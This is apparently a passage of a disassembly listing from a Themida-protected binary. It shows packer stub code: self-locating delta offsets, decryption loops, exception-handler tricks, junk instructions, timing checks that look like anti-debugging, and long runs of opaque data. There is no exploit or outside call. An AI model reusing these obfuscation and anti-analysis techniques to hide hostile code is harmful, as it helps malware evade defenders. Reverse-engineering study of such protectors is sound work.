dd 0AE0000h, 4 dup(0) dd 28FD009h, 0FFA8ADCEh, 77E7AC5Eh, 9B08F61Dh, 3 dup(0) dd 1A677DB1h, 2 dup(0) dd offset dword_575390 dd 78h, 2B135BF7h, 9 dup(0) dd 9F0FE6h, 540274h, 9 dup(0) dd 0A49995h, 2 dup(0) dd offset word_5924EA dd 4 dup(0) aVcw db 'Νvηw',0 align 10h aLk db 'Lk',0 align 10h aJmom db 'JOm',0 align 4 dd 6 dup(0) dd 0A070C4h, 2Bh dup(0) dd 55FAEAE4h, 5 dup(0) dd offset byte_570023 dd 3 dup(0) dd offset word_57BBE2 align 10h dd offset aA_2 ; "`aΒ\b" dd 2 dup(0) dd 0AEB1CAh, 4 dup(0) dd 6819BFEDh, 2 dup(0) dd 19h, 5849CDh, 7 dup(0) dd offset sub_401000 align 8 dd 1FDA3410h, 7158D54Ah, 0 dd 0A0FA56h, 2 dup(0) dd 0FFAC12F4h, 4 dup(0) dd 77E78B82h, 7FA6BABFh, 0Ah dup(0) dd 4B54ACF7h, 0 dd 6B4Ch, 6 dup(0) dd 3BE78h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5412E0: ; CODE XREF: start:loc_53DF73j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6453377h mov [ebp+6452401h], edx mov [ebp+645154Dh], esi mov [ebp+64514C5h], eax cmp dword ptr [ebp+64503F9h], 0 jz short loc_541318 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_541318: ; CODE XREF: start+612F6j mov eax, [esp+40h+var_1C] mov [ebp+6450CB1h], eax push 45h call sub_5413CC push 783749Ah call sub_541412 push 0A894B25h call sub_541412 jmp loc_541556 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5413CC proc near ; CODE XREF: start+61310p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6453465h mov ebx, edx mov [ebp+var_28], 0 loc_5413E8: ; CODE XREF: sub_5413CC+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_541407 mov eax, [ebp+arg_0] mov [ebx+64533CFh], eax inc [ebp+arg_0] inc ebx jmp short loc_5413E8 ; --------------------------------------------------------------------------- loc_541407: ; CODE XREF: sub_5413CC+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_5413CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541412 proc near ; CODE XREF: start+6131Ap start+61324p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 64534AEh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_541438: ; CODE XREF: sub_541412+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_541438 mov [ebp+var_84], 0 lea edi, [edx+64533CFh] lea esi, [ebp+var_80] loc_541468: ; CODE XREF: sub_541412+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_541474: ; CODE XREF: sub_541412+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_541474 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_541468 popa leave retn 4 sub_541412 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_5414B2 ; --------------------------------------------------------------------------- loc_5414AE: ; CODE XREF: Themida_:005414B5j inc dword ptr [ebp-4] inc esi loc_5414B2: ; CODE XREF: Themida_:005414ACj cmp byte ptr [esi], 0 jnz short loc_5414AE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_541543 ; --------------------------------------------------------------------------- loc_5414C4: ; CODE XREF: Themida_:00541546j mov dword ptr [ebp-8], 0 jmp short loc_54153A ; --------------------------------------------------------------------------- loc_5414CD: ; CODE XREF: Themida_:0054153Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_541527 ; --------------------------------------------------------------------------- loc_5414DD: ; CODE XREF: Themida_:0054152Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_5414FF cmp bl, 39h ja short loc_5414FF sub bl, 30h jmp short loc_541521 ; --------------------------------------------------------------------------- loc_5414FF: ; CODE XREF: Themida_:005414F3j ; Themida_:005414F8j cmp bl, 61h jb short loc_541511 cmp bl, 66h ja short loc_541511 sub bl, 61h add bl, 0Ah jmp short loc_541521 ; --------------------------------------------------------------------------- loc_541511: ; CODE XREF: Themida_:00541502j ; Themida_:00541507j cmp bl, 41h jb short loc_541521 cmp bl, 46h ja short loc_541521 sub bl, 41h add bl, 0Ah loc_541521: ; CODE XREF: Themida_:005414FDj ; Themida_:0054150Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_541527: ; CODE XREF: Themida_:005414DBj cmp dword ptr [ebp-0Ch], 2 jb short loc_5414DD cmp dword ptr [ebp-10h], 0 jbe short loc_541537 mov eax, [ebp-10h] stosb loc_541537: ; CODE XREF: Themida_:00541531j inc dword ptr [ebp-8] loc_54153A: ; CODE XREF: Themida_:005414CBj cmp dword ptr [ebp-8], 2 jb short loc_5414CD add edx, 4 loc_541543: ; CODE XREF: Themida_:005414C2j cmp edx, [ebp-4] jb loc_5414C4 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541556: ; CODE XREF: start+61329j mov ecx, 7000h lea edi, [ebp+64535F4h] loc_541561: ; CODE XREF: start+61551j dec byte ptr [edi] inc edi dec ecx jnz short loc_541561 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+6453701h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax call near ptr loc_5415A7+4 push ss aaa push ebp sar bl, 1Bh insd in eax, 75h bound ebx, [edi-10h] idiv byte ptr [ebx-0Dh] xchg eax, ecx loc_5415A7: ; CODE XREF: start+6157Ep rcr dword ptr [edx-7756818h], cl pop ebx mov bx, 33Fh sub eax, edx push 0 push ecx call sub_5415BF and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_5415BF proc near ; CODE XREF: start+615A3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5415BF endp ; --------------------------------------------------------------------------- aUKFl db 'Θ',0Dh,'ΕΩfή%',0 dw 0FFF0h dd 0DBE381FFh, 66505D7Ch, 8B1EE4BBh, 66FF33CAh, 5A4D3881h dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h, 10002Dh dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 6453714h dd 35FF6452h, 0 dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h dd 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 45371FEDh, 0DD858D06h, 89064536h, 0B881h, 33595D00h dd 6496C3C0h, 58Fh, 0C4830000h, 8B66F804h, 0D98C66D8h dd 18D0Fh, 80F50000h, 0B06004E1h, 38D0F5Fh, 0F000000h dd 0A61C9B7h, 19850FC9h, 8B000000h, 2585C7DAh, 1064500h dd 0BB000000h, 7D7A4C44h, 0E9DE8B66h, 30h, 2585C7h, 645h dd 11E80000h, 0C6000000h, 0C932823Ah, 340AF39h, 0EF61DABh dd 2B6D59FBh, 6830Fh, 0CB810000h, 6FF4C3EEh, 58C3805Bh dd 9858589h, 8D0F0645h, 16h, 11E9h, 0FCA3C900h, 0ABEDAE7Eh dd 65CED2D7h, 0DD4A71A7h, 8589C809h, 64509D5h, 12E8h, 0D8B6A400h dd 3EA6CCFDh, 179C7738h, 0AE829ED7h, 8BB4ADC9h, 0C08158D6h dd 6E67h, 58C0Fh, 0A7BA0000h, 682453CDh, 1B66h, 7E8h, 80880A00h dd 7715870Dh, 5E9h, 0A0068800h, 5E5B38D6h, 5E8h, 75522A00h dd 0EB81CFE9h, 46480C15h, 66388B5Bh, 0EF81CF8Bh, 2E16D7EEh dd 5E9h, 3D0AF900h, 0F78173CBh, 38B43576h, 0C781C88Ah dd 253ED00Bh, 8D38B966h, 0BB575257h, 25E40422h, 8F5B59h dd 0E8F48A60h, 0Bh, 2D8FD053h, 8E07AEB8h, 592F4BE8h, 90E88161h dd 663D3A0Ah, 815C67B9h, 3A0A8CC0h, 11E83Dh, 0C98F0000h dd 0F2B375BCh, 0D6AC4A06h, 480425ECh, 662189D2h, 835AD08Bh dd 850F01EEh, 0FFFFFF85h, 0E876BA66h, 0CE8h, 117A0E00h dd 9580BCAh, 7C13A17Dh, 9890F1Fh, 60000000h, 8A0FF9h, 61000000h dd 0C6B70F5Fh, 7199C781h, 33FC0000h, 605756D2h, 0FF5E5861h dd 56593A34h, 58C78B66h, 7571C181h, 0F28B27A0h, 8E4C181h dd 19B73D3Ch, 187DE981h, 0F6813D45h, 59A5F446h, 10E95051h dd 59000000h, 0F186BD9Dh, 692BB5C5h, 4979305Bh, 5B9D5F25h dd 0F17048Fh, 28Bh, 0E939B300h, 14h, 0AF6D5582h, 0BBE40734h dd 91B6FFC6h, 437AD038h, 392AA182h, 6601EA83h, 4A4F70B8h dd 0E9604A4Ah, 0Bh, 3C05E8F8h, 0D40F3826h, 66BF4565h, 8161F18Bh dd 0FF8F60FAh, 2D850FFFh, 0F000000h, 0E8Ch, 5E96000h, 2000000h dd 630DA492h, 0E9615E52h, 2Ah, 5B0E96E6h, 0B138289Fh, 728ADFFEh dd 92B23FE8h, 92685834h, 0E9C78B66h, 0FFFFFF3Fh, 3401722Dh dd 30148F41h, 335D27D8h, 58E94E04h, 0F000007h, 0C80h, 68F0F00h dd 89000000h, 45289DBDh, 49BD8906h, 1706452Fh, 0B000002h dd 0E9000000h, 6, 0E24CC36Dh, 181Fh, 1CF5BD89h, 0BE90645h dd 5B000000h, 0C6B89507h, 0F7A205AEh db 0F7h, 0B2h word_54196E dw 3160h ; DATA XREF: Themida_:00540980o ; Themida_:00540B18o dd 4522658Dh, 1C02B06h, 45302995h, 24548B06h, 8E928h, 0ED070000h dd 53FDA90Ah, 8589D4D1h, 64506FDh, 0F98D8B60h, 0F8064502h dd 3CBE61h, 8C0F0000h, 6, 0BD59529h, 74030645h, 56602424h dd 2055BD8Bh, 89590645h, 4524FD85h, 0AD666106h, 6E9h, 843FEA00h dd 37118D4h, 89242444h, 45188185h, 0EE95006h, 0E2000000h dd 0F53BC80Ah, 0E9548529h, 46320148h, 24048911h, 7E9h dd 7D5C1600h, 3B1A0516h, 6078408Bh, 28E0Fh, 5B520000h dd 1045BD29h, 3610645h, 0F8282444h, 6018408Bh, 2105B501h dd 860F0645h, 6, 1E619D8Bh, 40610645h, 18F99589h, 85890645h dd 64539D0h, 10E960h, 61AC0000h, 0CB99964Bh, 0E38D8DBFh dd 665C3139h, 23BA0B27h, 610EC78Fh, 0AE958h, 2E410000h dd 0D8CA2C5Fh, 772A7F61h, 0E978708Bh, 10h, 0D8485A5Bh dd 62BFBACFh, 0F1890211h, 95AE9646h, 0E91CC683h, 8, 303C2F7Ch dd 0C01A6810h, 252DB529h, 74030645h, 6E92424h, 0A0000000h dd 0B28392BBh, 51BD8DAEh, 0F5064523h, 6840FADh, 89000000h dd 45016DBDh, 9E906h, 2C6E0000h, 0E891062Bh, 36E0254h dd 0F242444h, 888h, 95896000h, 645015Dh, 8E9AB61h, 81000000h dd 0E0FFA065h, 8D3A2D71h, 451E51BDh, 0FADF506h, 158Bh dd 10E900h, 84190000h, 42C434FEh, 0DE8A2365h, 7E18BB76h dd 4403C892h, 95012424h, 6451229h, 0C8F0F90h, 0F000000h dd 686h, 8B0F00h, 50000000h, 128F0Fh, 52500000h, 310F5250h dd 310F585Ah, 310F5250h, 585A585Ah, 0B1952990h, 0AB064502h dd 245B589h, 0BD8D0645h, 64518EDh, 99958960h, 66064504h dd 660CC981h, 880FAD61h, 9, 665B5360h, 0C487C681h, 24440361h dd 0DDB58928h, 0AB064501h, 4159D01h, 895E0645h, 45205D95h dd 0D08DFF06h, 83064539h, 4539D0BDh, 10750006h, 1C2444C7h dd 0 dd 3ED3B58Dh, 0E6FF0645h, 4403AD56h, 8B972824h, 29858ADFh dd 84064518h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 4506FD85h, 0FF6FE906h dd 895EFFFFh, 452F85B5h, 0EE906h, 0CFF50000h, 979CF791h dd 31CB4BE4h, 0C7D9D3DEh, 0E99D31F5h, 8B064512h, 4506FD85h dd 830F6006h, 0Bh, 6E9h, 0ECFEEC00h, 660AEC8Dh, 0D161CF8Bh dd 0D800FE0h, 0E9000000h, 8, 99303BE5h, 76D7D9Dh, 18ED8503h dd 0E8600645h, 14h, 5F096A80h, 0C59948D1h, 2B5778ADh, 42A032C3h dd 0DD6FD429h, 0C98D295Fh, 61064502h, 9589F62Bh, 64511C9h dd 8A0FFC96h, 6, 2571BD89h, 0AD660645h, 2E0C1FCh, 14E9h dd 0CD587F00h, 0C4D5D099h, 2E3CCDCDh, 0EDFDEB2Ch, 0E1831778h dd 68E0F02h, 29000000h, 45256185h, 51850306h, 89064523h dd 4517659Dh, 850F9606h, 6, 8F98D89h, 0F600645h, 68Dh dd 0F59D8B00h, 66064520h, 0AD61D68Bh, 12E9h, 2A359C00h dd 0CC5382F5h, 4B967DDCh, 0DF82C94Dh, 8BEE4D2Eh, 2924244Ch dd 450305BDh, 0DE906h, 11790000h, 144BCF4Fh, 0C89863ECh dd 3DE89B9h, 60242444h, 2CA19D8Bh, 24B40645h, 24448961h dd 0E985311Ch, 8906452Eh, 451F69B5h, 0F609606h, 820FC2BFh dd 6, 559B589h, 0AC610645h, 13850Fh, 0EE90000h, 0D000000h dd 33699306h, 8CF1AFD0h, 0D6EFD0F3h, 0C870FFDh, 0E9000000h dd 7, 41A19B51h, 32F95CF2h, 6850FC9h, 89000000h, 452D018Dh dd 89C1FE06h, 45125D95h, 0FD0D006h, 9D83h, 0D0D0F800h dd 94830Fh, 0D0F90000h, 8B820FD0h, 89000000h, 450675B5h dd 0FD0D006h, 7D82h, 80576000h, 8B5AE6F1h, 45025DBDh, 0C9FE6106h dd 0FFC3890Fh, 0F60FFFFh, 289h, 23C6B300h, 4516D9B5h, 0E9606106h dd 0Eh, 27EC5838h, 723295A1h, 5D9082A0h, 8B66B876h, 0C48361D1h dd 18D8920h, 0C706452Ch, 0FC2444h, 0F000000h, 180h, 1B8F800h dd 9000000h, 452F11B5h, 148D8D06h, 0F8064572h, 870FE1FFh dd 0Eh, 9E9h, 0BAC6BC00h, 3E9EDBF0h, 85C6F760h, 6451829h dd 0FE900h, 73600000h, 14B8E316h, 9DEE097Bh, 0B6C03AECh dd 8E9616Ch, 0D0000000h, 0EAFDD6EFh, 0C29F2B33h, 9D890008h dd 6451849h, 14860F50h, 0F000000h, 0E80h, 9E900h, 71850000h dd 0F368FF58h, 896030ECh, 0B5892434h, 64516E1h, 40DFB589h dd 0BD010645h, 64505B5h, 40F08D89h, 8D890645h, 6452559h dd 3FA5B58Dh, 10E90645h, 7F000000h, 891F19F4h, 112A4934h dd 0D79BAF1Ah, 60E66D82h, 11B99D29h, 0C28B0645h, 35858D61h dd 60005B7Eh, 89CFB70Fh, 4508818Dh, 0D0FF6106h, 12810Fh dd 0DE90000h, 92000000h, 933F8FF2h, 0DBCC130h, 0B3C3BA8Bh dd 19D295Eh, 0C306450Bh, 6840Fh, 0BD890000h, 64505A9h dd 40DFB58Bh, 95890645h, 64530D5h, 61606060h, 9296BB66h dd 21B58961h, 6106450Dh, 40F08D8Bh, 880F0645h, 6, 2ED99529h dd 0B80645h, 0F5000000h, 9D31D98Bh, 6452CC1h, 0B5E9h, 2632FC00h dd 0BE9h, 4CA1CC00h, 0DD10AB98h, 4F3B0AC7h, 8D8902B2h dd 6452339h, 68E9h, 14E9F500h, 60000000h, 0FDAF4CDEh, 0CE722809h dd 0EBA5CC5h, 2D6DF3F7h, 323C0A1Eh, 952360C2h, 6452CC1h dd 97E78166h, 7A056130h, 898A751Dh, 4505A195h, 0FCC8A06h dd 0C85h, 6810F00h, 89000000h, 452F39BDh, 31C8D306h, 45248985h dd 8423506h, 0FEFC98D1h, 295760CAh, 452425BDh, 9D8B5A06h dd 6450BD5h, 0FD20A61h, 0FFFFAA85h, 108C0FFFh, 0F000000h dd 0A87h, 5E900h, 75F20000h, 4B6B6289h, 7E946FCh, 7D000000h dd 8B1EBCDCh, 0DB0B023Dh, 0FF44850Fh, 8B60FFFFh, 4509458Dh dd 8E906h, 0FDB60000h, 893E590Ah, 0E9619F25h, 0Fh, 29D68356h dd 67BFBE0h, 29EEDD61h, 0CF4864A8h, 0DE9h, 0A6CCFD00h dd 9C77383Eh, 829ED717h, 0C9AEh, 8D8D01h, 645h, 0E98589FCh dd 6450Bh, 0BD8B6000h, 6450609h, 151ED081h, 615134h, 0EB816000h dd 270D644Fh, 0C95B589h, 8D610645h, 4539FB85h, 0B1BD3106h dd 89064502h, 452F3D85h, 858DF806h, 6453F05h, 0F58589F8h dd 0EB064509h, 14h, 3 dup(0) dd 8B00h, 0FD858D00h, 89064541h, 452A1985h, 3EBD8306h dd 64541h, 122840Fh, 85C60000h, 6451829h, 4B1D6856h, 3481D9D8h dd 0C7262424h, 85B5FF0Dh, 8D064509h, 4539FB85h, 89D0FF06h dd 45413285h, 2985C606h, 56064518h, 4E8h, 0A8B85200h, 448B509Ch dd 8B0424h, 4244489h, 85B5FF58h, 8D064509h, 4539FB85h dd 89D0FF06h, 45413685h, 68046A06h, 0ACD6C203h, 0FD240481h dd 8B53294Dh, 45414285h, 1F40506h, 0E0C10000h, 90509002h dd 95FF006Ah, 6454136h, 413A8589h, 0D88B0645h, 0FFFFFFB8h dd 1995FFFFh, 8B06452Ah, 1995FFC3h, 0E906452Ah, 84h dword_542170 dd 413EBD83h, 0F000645h, 185h, 8B57C300h, 45413ABDh, 8583AB06h ; DATA XREF: Themida_:0054098Co dd 645413Ah, 83C35F04h, 45413EBDh, 850F0006h, 1, 0AD8360C3h dd 645413Ah, 3A9D8B04h, 83064541h, 0FFFFC7Bh, 1D85h, 41FB6800h dd 3481613Eh, 3EC1FB24h, 0FF006A61h, 3295FF33h, 61064541h dd 1DE9C3h, 3D680000h, 81F92040h, 3FC32404h, 6A06E0h, 95FF33FFh dd 6454132h, 413AAD83h, 0E9040645h, 0FFFFFFB1h, 1ADE948h dd 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h dd 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h, 0FFFFFFE2h dd 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h dd 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h dd 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh, 168A0000h dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh dd 1BBC32Bh, 0F000000h, 3485h, 1B900h, 0D2020000h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h, 820FD212h dd 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh dd 46068A08h, 1B9E88Bh, 2000000h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h dd 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh, 0E820F00h dd 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh dd 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh dd 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h, 0F78B56E8h dd 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh, 8928247Ch dd 611C247Ch, 0BA0008C2h, 929h, 9D3E9h, 870FAF00h, 6F560CB7h dd 0E34621EAh, 3AF34C68h, 412CF004h, 3DC269FCh, 354E3ADCh dd 1F8CB0F8h, 8729F251h, 631407BAh, 0B15133E2h, 3DE15D3Bh dd 2E67FF41h, 37C8199Fh, 394F27C8h, 1D8CB0AAh, 872AFD57h dd 7C141DBAh, 0B14E29FFh, 26FF4125h, 4569EB56h, 20842DFCh dd 745E27CCh, 8C2B1F8h, 873CE957h, 7D5B1BA3h, 0BF4E27FFh dd 63h dup(0) dd 870FAF00h, 735A06BEh, 0B15129F9h, 2EFD5638h, 424F356h dd 72D728FAh, 7B4F31CBh, 48DA3AAh, 0D56EF856h, 735A07A6h dd 0F80321E3h, 26EB0426h, 5769E051h, 37D03AEBh, 18207AC4h dd 1087A9DAh, 8762F94Bh, 755807A6h, 0F80322ECh, 3BF4043Ch dd 4969FF4Bh, 20CB24F7h, 7B4B74D0h, 1490E5EEh, 0D52FE84Bh dd 754D49A7h, 0E10334F8h, 3BF54B3Ah, 67FF45h, 48h dup(0) dd 870FAF00h, 79551BB0h, 0B65123E6h, 26E6043Bh, 4C69FE4Bh dd 30843AF3h, 354431CCh, 1F97AAECh, 0D23CBC5Ch, 745D07BDh dd 0FF4A66EAh, 3CFD5D68h, 5D3AB256h, 3FC13DE1h, 45275E87h dd 283A0E6h, 0D26EB05Dh, 7B5B05BDh, 0E54A66E9h, 26E04268h dd 4124B249h, 2BD626FFh, 71443589h, 287B7AAh, 0D33CFD4Ch dd 6F5B10F3h, 0E35366FFh, 28E04327h, 0BC49h, 61h dup(0) dd 0CE08AF00h, 79140CBFh, 0E45134E2h, 2DF75038h, 7069BC05h dd 72D720FAh, 724526D9h, 518FA4F8h, 873DFD50h, 74510CB1h dd 0FF422BADh, 25E75421h, 402CE645h, 36CA28B2h, 6C4B3989h dd 7CE8A0E8h, 0D469E851h, 7C5A00F3h, 0F45725E8h, 30F0042Ch dd 7269F304h, 21D13BFBh, 35583B89h, 1283B7E9h, 892AF953h dd 735C3DF3h, 0F84566FEh, 3EB24124h, 506EFC4Bh, 20CB3EB2h dd 7B4B74C2h, 38DA8F3h, 0B25Dh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2CDDE9h, 33F38100h, 0FC26829Bh, 10459501h, 0C08B0645h dd 8E8h, 4CC4CE00h, 84C9A72Dh, 12E8AEh, 78800000h, 0D3233C30h dd 8B1A358Ch, 0A516DD59h, 78C25358h, 1E819D31h, 5B5B0645h dd 30A1BD83h, 75000645h, 0BDBD8309h, 64504h, 53501374h dd 1B8C08Bh, 8D000000h, 47B40E9Dh, 5BD3FF06h, 0BDBD8358h dd 64504h, 53501174h, 1B8h, 0BF9D8D00h, 0FF0647B2h, 0E8585BD3h dd 10h, 0B598A60Eh, 4FA1E100h, 52D855DFh, 9B31FECBh, 31399D23h dd 295A0645h, 4525D9B5h, 499D8B06h, 8B064523h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0AE150C05h, 0BD84161Ah, 81958BA7h, 8306450Dh, 451585BDh dd 840F0006h, 1B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 59C35545h, 9F32B04Ch, 90BA66B9h, 3E5BD83h dd 0F000645h, 18884h, 0AD9D8900h, 60064532h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 4AC35545h, 4C91E2D6h dd 958989E8h, 645030Dh, 447CBB66h, 3E5858Bh, 9D890645h dd 645017Dh, 3E805h, 45952300h, 5006452Ah, 61B0B460h, 0FC240489h dd 4DF8858Dh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8099F4C3h, 8A90CEF3h, 0AE950D8h dd 70000000h, 7DF90D8Ah, 9DB42C51h, 852990EAh, 64503C9h dd 0B399589h, 858D0645h, 6454DD6h, 32E28166h, 666050D0h dd 568FB5BBh, 0AE8h, 70D4DC00h, 0F71B15A3h, 583C7276h dd 489615Ah, 15BA6624h, 95958BEBh, 0FF064518h, 45305595h dd 0ED958906h, 8306450Ah, 0BA660CC4h, 858D2204h, 6454DD6h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B6C35545h dd 1508EBFh, 66ABF06Ah, 0CB80D38Bh, 8E890F9h, 0D7000000h dd 0E1BA11CAh, 50F9119Bh, 0F525052h, 0F585A31h, 8A0F31h dd 5A000000h, 66505B58h, 8B90D08Bh, 6A026ADEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 4800C350h, 313610FEh, 45177995h, 65BD2906h, 0FF064509h dd 68857495h, 61D18B00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 4C35545h, 985C7F8h, 106454Eh, 0E9000000h dd 0Fh, 7A1C2D6Bh, 0F5CB3FF7h, 36F20339h, 96970C1Fh, 0BE8h dd 0C0475100h, 46A6A4FDh, 6AD5164Dh, 11E8h, 9C965400h dd 0D554A104h, 2647C710h, 62F4B281h, 0DD8A57A8h, 66505A5Ah dd 6696DF8Bh, 0CDADC381h, 8E8h, 92B1500h, 34F7B93Eh, 0CB81662Fh dd 895A61BDh, 454DBAB5h, 3BEB8106h, 837A3D28h, 450025BDh dd 850F0106h, 3Bh, 83AD37BAh, 5F88306h, 2D850Fh, 97BB0000h dd 0B8780247h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 74C35141h dd 5DB9B478h, 834C65E5h, 450995BDh, 840F0006h, 17h, 23F99D01h dd 0B5890645h, 6451059h, 0B8h, 65B58900h, 6006450Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A8C35343h, 87324864h dd 0A98529F0h, 8B064510h, 452F5185h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 18468BA9h dd 50214F23h, 58D0Fh, 3EBA0000h, 5B2758FAh, 6A02C083h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0F24BC356h, 43B9E26Eh, 800FC9CBh, 8, 28C0Fh dd 5A570000h, 4DB28589h, 958B0645h, 645326Dh, 66E38166h dd 0FF00C696h, 182985C6h, 0F530645h, 589h, 0A3D1BA00h dd 4E87295h, 0D8000000h, 0BAFCB148h, 8B6A4EEh, 0DF8B6650h dd 424448Bh, 0BD25BA57h, 8B5A5A78h, 13E900h, 0EC480000h dd 7CE7DB37h, 6A85BF93h, 66DB989Ch, 7CC6A624h, 244489C0h dd 58F08A04h, 0FFD3F780h, 4509D5B5h, 0B9958906h, 8D064520h dd 4878B685h, 0D1BD2906h, 80064532h, 0D0FF9ECEh, 218589FCh dd 6A064531h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 87BDC353h, 0E4BB66C5h, 69BD8386h dd 1064524h, 0F4850Fh, 81660000h, 61B59DE2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F0C35747h, 0CEDA8078h dd 182985C6h, 0E9450645h, 0Bh, 142B4A4Fh, 9736FA0Ch, 68DB8A0Eh dd 0EA33715Bh, 3481FA8Ah, 53499924h, 29BD0130h, 0FF064513h dd 4509D5B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A0C692E4h, 35958B96h, 8D064508h dd 4878B685h, 0DE806h, 